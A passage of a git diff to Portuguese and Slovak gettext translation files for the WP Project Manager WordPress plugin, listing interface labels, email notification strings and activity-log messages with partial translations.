Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Configurações de E-Mail" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Formato do E-Mail" + +# @ cpm +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML" + +# @ cpm +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Texto Simples" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Limite para envio de arquivo" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Prazo" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Exibir Tarefa" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nova Mensagem" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Exibir Mensagem" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +# @ cpm +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Exibir Projeto" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +# @ cpm +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Atualizar Lista" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +# @ cpm +#~ msgid "Project created by %s" +#~ msgstr "Projeto criado por %s" + +# @ cpm +#~ msgid "Project details updated by %s" +#~ msgstr "Descrição do projeto atualizado por %s" + +# @ cpm +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Mensagem \"%s\" excluída por %s" + +# @ cpm +#~ msgid "%s deleted a comment" +#~ msgstr "%s excluiu um comentário" + +# @ cpm +#~ msgid "Add a comment..." +#~ msgstr "Adicionar um comentário..." + +# @ cpm +#~ msgid "Messages" +#~ msgstr "Mensagens" + +# @ cpm +#~ msgid "message post type" +#~ msgstr "formato da mensagem" + +# @ cpm +#~ msgid "Edit Message" +#~ msgstr "Editar Mensagem" + +# @ cpm +#~ msgid "Search Messages" +#~ msgstr "Pesquisar Mensagens" + +# @ cpm +#~ msgid "Parent Message" +#~ msgstr "Mensagem Relacionada" + +# @ cpm +#~ msgid "Add New Milestone" +#~ msgstr "Adicionar Novo Marco" + +# @ cpm +#~ msgid "New Milestone" +#~ msgstr "Novo Marco" + +# @ cpm +#~ msgid "View Milestone" +#~ msgstr "Exibir Marco" + +# @ cpm +#~ msgid "Search Milestone" +#~ msgstr "Pesquisar Marco" + +# @ cpm +#~ msgid "Parent Milestone" +#~ msgstr "Marco Relacionado" + +# @ cpm +#~ msgid "project manager post type" +#~ msgstr "tipo de post para gestão de projeto" + +# @ cpm +#~ msgid "Add Project" +#~ msgstr "Adicionar Projeto" + +# @ cpm +#~ msgid "Edit Project" +#~ msgstr "Editar Projeto" + +# @ cpm +#~ msgid "Search Project" +#~ msgstr "Pesquisar Projeto" + +# @ cpm +#~ msgid "Parent Project" +#~ msgstr "Projeto Relacionado" + +# @ cpm +#~ msgid "Add Task List" +#~ msgstr "Adicionar Lista de Tarefas" + +# @ cpm +#~ msgid "Add New Task List" +#~ msgstr "Adicionar Nova Lista de Tarefas" + +# @ cpm +#~ msgid "Edit Task List" +#~ msgstr "Editar Lista de Tarefas" + +# @ cpm +#~ msgid "View Task List" +#~ msgstr "Exibir Lista de Tarefas" + +# @ cpm +#~ msgid "Search Task List" +#~ msgstr "Pesquisar Lista de Tarefas" + +# @ cpm +#~ msgid "Parent Task List" +#~ msgstr "Lista de Tarefas Relacionada" + +# @ cpm +#~ msgid "Add New Task" +#~ msgstr "Adicionar Nova Tarefa" + +# @ cpm +#~ msgid "Edit Task" +#~ msgstr "Editar Tarefa" + +# @ cpm +#~ msgid "New Task" +#~ msgstr "Nova Tarefa" + +# @ cpm +#~ msgid "Search Task" +#~ msgstr "Pesquisar Tarefa" + +# @ cpm +#~ msgid "Parent Task" +#~ msgstr "Tarefa Relacionada" + +# @ cpm +#~ msgid "Delete project" +#~ msgstr "Excluir Projeto" + +# @ cpm +#~ msgid "Add this comment" +#~ msgstr "Adicionar um comentário" + +# @ cpm +#~ msgid "late" +#~ msgstr "atrasado" + +# @ cpm +#~ msgid "Attached to %s by %s" +#~ msgstr "Anexado em %s por %s" + +# @ cpm +#~ msgid "Error: Message not found" +#~ msgstr "Erro: Mensagem não encontrada" + +# @ cpm +#~ msgid "Error: Project not found" +#~ msgstr "Erro: Projeto não encontrado" + +# @ cpm +#~ msgid "Error: Permission denied" +#~ msgstr "Erro: Permissão negada" + +# @ cpm +#, fuzzy +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 Comentário" +#~ msgstr[1] "1 Comentário" + +# @ cpm +#~ msgid "Message %s created by %s" +#~ msgstr "Mensagem %s criada por %s" + +# @ cpm +#~ msgid "Message %s updated by %s" +#~ msgstr "Mensagem %s atualizada por %s" + +# @ cpm +#~ msgid "To-do list %s created by %s" +#~ msgstr "Lista de Tarefas %s criada por %s" + +# @ cpm +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Lista de Tarefas %s atualizada por %s" + +# @ cpm +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Lista de Tarefas \"%s\" excluída por %s" + +# @ cpm +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Tarefa %s adicionada à Lista de Tarefas %s por %s" + +# @ cpm +#~ msgid "To-do %s updated by %s" +#~ msgstr "Tarefa %s atualizada por %s" + +# @ cpm +#~ msgid "To-do %s completed by %s" +#~ msgstr "Tarefa %s completa por %s" + +# @ cpm +#~ msgid "Marked to-do as done" +#~ msgstr "Tarefa marcada como realizada" + +# @ cpm +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Tarefa %s marcada como incompleta por %s" + +# @ cpm +#~ msgid "Re-opened to-do" +#~ msgstr "Re-abrir tarefa" + +# @ cpm +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Tarefa \"%s\" excluída da Lista de Tarefa %s por %s" + +# @ cpm +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Marco \"%s\" adicionado por %s " + +# @ cpm +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Marco \"%s\" atualizado por %s " + +# @ cpm +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Marco \"%s\" excluído por %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Marco \"%s\" sinalizado como completo por %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Marco \"%s\" sinalizado como incompleto por %s " + +# @ cpm +#~ msgid "General" +#~ msgstr "Geral" + +# @ cpm +#~ msgid "No Messages Found" +#~ msgstr "Nenhuma mensagem encontrada" + +# @ cpm +#~ msgid "No Messages Found in Trash" +#~ msgstr "Nenhuma mensagem encontrada na lixeira" + +# @ cpm +#~ msgid "No Milestone Found" +#~ msgstr "Nenhum Marco encontrado" + +# @ cpm +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Nenhum Marco encontrado na lixeira" + +# @ cpm +#~ msgid "No Project Found in Trash" +#~ msgstr "Nenhum Projeto encontrado na lixeira" + +# @ cpm +#~ msgid "No Task List Found" +#~ msgstr "Nenhum Lista de Tarefas encontrada" + +# @ cpm +#~ msgid "No Task List Found in Trash" +#~ msgstr "Nenhum Lista de Tarefas encontrada na lixeira" + +# @ cpm +#~ msgid "No Task Found" +#~ msgstr "Nenhum Tarefa encontrada" + +# @ cpm +#~ msgid "No Task Found in Trash" +#~ msgstr "Nenhuma Tarefa encontrada na lixeira" + +# @ cpm +#~ msgid "Select co-workers" +#~ msgstr "Selecionar Equipe" + +# @ cpm +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Você quer mesmo excluir essa tarefa?" + +# @ cpm +#~ msgid "Add this to-do" +#~ msgstr "Adicionar esta tarefa" + +# @ cpm +#~ msgid "Add a new to-do" +#~ msgstr "Adicionar nova tarefa" + +# @ cpm +#~ msgid "-- milestone --" +#~ msgstr "-- marco ---" + +# @ cpm +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Você quer mesmo excluir esta lista de tarefas?" + +# @ cpm +#~ msgid "Update comment" +#~ msgstr "Atualizar comentário" + +# @ cpm +#~ msgid "Edit milestone" +#~ msgstr "Editar marco" + +# @ cpm +#~ msgid "Mark un-complete" +#~ msgstr "Marcar como incompleto" + +# @ cpm +#~ msgid "To-do List" +#~ msgstr "Lista de Tarefas" + +# @ cpm +#~ msgid "Notify Co-workers" +#~ msgstr "Notificar Equipe" + +# @ cpm +#~ msgid "thread" +#~ msgstr "discussão" + +# @ cpm +#~ msgid "One Comment" +#~ msgid_plural "%s Comments" +#~ msgstr[0] "Um Comentário" +#~ msgstr[1] "%s Comentários" + +# @ cpm +#~ msgid "Discuss this to-do list" +#~ msgstr "Discutir sobre esta Lista de Tarefas" + +# @ default +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "tamanho do arquivo em Megabyte. Ex: 2" + +# @ cpm +#~ msgid "New Project Subject" +#~ msgstr "Título do Projeto" + +# @ cpm +#~ msgid "New Project Body" +#~ msgstr "Descrição do Projeto" + +# @ cpm +#~ msgid "New Message Subject" +#~ msgstr "Título da Mensagem" + +# @ cpm +#~ msgid "New Message Body" +#~ msgstr "Descrição da Mensagem" + +# @ cpm +#~ msgid "New Comment Subject" +#~ msgstr "Título do Comentário" + +# @ cpm +#~ msgid "New Assigned Task Subject" +#~ msgstr "Título da Nova Tarefa Atribuída" + +# @ cpm +#~ msgid "-- assign to --" +#~ msgstr "-- atribuir para --" + +# @ cpm +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Para anexar, selecione os " +#~ "arquivos em seu computador." + +# @ cpm +#~ msgid "%d Comments" +#~ msgstr "%d Comentários" + +# @ cpm +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Finalizado por %s em %s)" + +# @ cpm +#~ msgid "Tasklist name" +#~ msgstr "Nome da Lista de Tarefas" + +# @ cpm +#~ msgid "Add a to-do" +#~ msgstr "Adicionar nova Tarefa" + +# @ cpm +#~ msgid "Message details here" +#~ msgstr "Escreva sua mensagem aqui" + +# @ cpm +#~ msgid "Details about milestone (optional)" +#~ msgstr "Descrição sobre o marco (opcional)" + +# @ cpm +#~ msgid "Reopen" +#~ msgstr "Re-abrir" + +# @ cpm +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Download ou participe da discussão." + +# @ cpm +#~ msgid "No Files Found!" +#~ msgstr "Nenhum arquivo encontrado!" + +# @ cpm +#~ msgid "Add New" +#~ msgstr "Adicionar Nova" + +# @ cpm +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Nenhum mensagem encontrada! Que tal adicionar uma?" + +# @ cpm +#~ msgid "← back" +#~ msgstr "← voltar" + +# @ cpm +#~ msgid "No Milestone Found!" +#~ msgstr "Nenhum Marco encontrado!" + +# @ cpm +#~ msgid "Add new milestone" +#~ msgstr "Adicionar novo marco" + +# @ cpm +#~ msgid "Project Info" +#~ msgstr "Informações sobre o Projeto" + +# @ cpm +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Nenhum Lista de Tarefas encontrada!" + +# @ cpm +#~ msgid "Discuss this to-do" +#~ msgstr "Discutir sobre esta Tarefa" + +# @ cpm +#~ msgid "%d message" +#~ msgid_plural "%d messages" +#~ msgstr[0] "%d mensagem" +#~ msgstr[1] "%d mensagens" + +# @ cpm +#~ msgid "%d to-do list" +#~ msgid_plural "%d to-do lists" +#~ msgstr[0] "%d lista de tarefas" +#~ msgstr[1] "%d listas de tarefas" + +# @ cpm +#~ msgid "%d to-do" +#~ msgid_plural "%d to-dos" +#~ msgstr[0] "%d tarefa" +#~ msgstr[1] "%d tarefas" + +# @ cpm +#~ msgid "%d milestone" +#~ msgid_plural "%d milestones" +#~ msgstr[0] "%d marco" +#~ msgstr[1] "%d marcos" diff --git a/languages/wedevs-project-manager-sk_SK.po b/languages/wedevs-project-manager-sk_SK.po index 41d03e88a..4163ade1f 100644 --- a/languages/wedevs-project-manager-sk_SK.po +++ b/languages/wedevs-project-manager-sk_SK.po @@ -1,2066 +1,2066 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:55+0600\n" -"Last-Translator: \n" -"Language-Team: marchfeldm@gmail.com\n" -"Language: sk_SK\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Správa" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Zoznam úloh" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Úloha" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Súbory" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Aktualizácia projektu" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Načítať ďalšie ..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Povolené súbory" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Nadstavenia" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Projekt manažér" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projekty" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "podrobnosti zoznamu úloh" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s pridal komentár k %s" - -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s pridal komentár k %s" - -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s 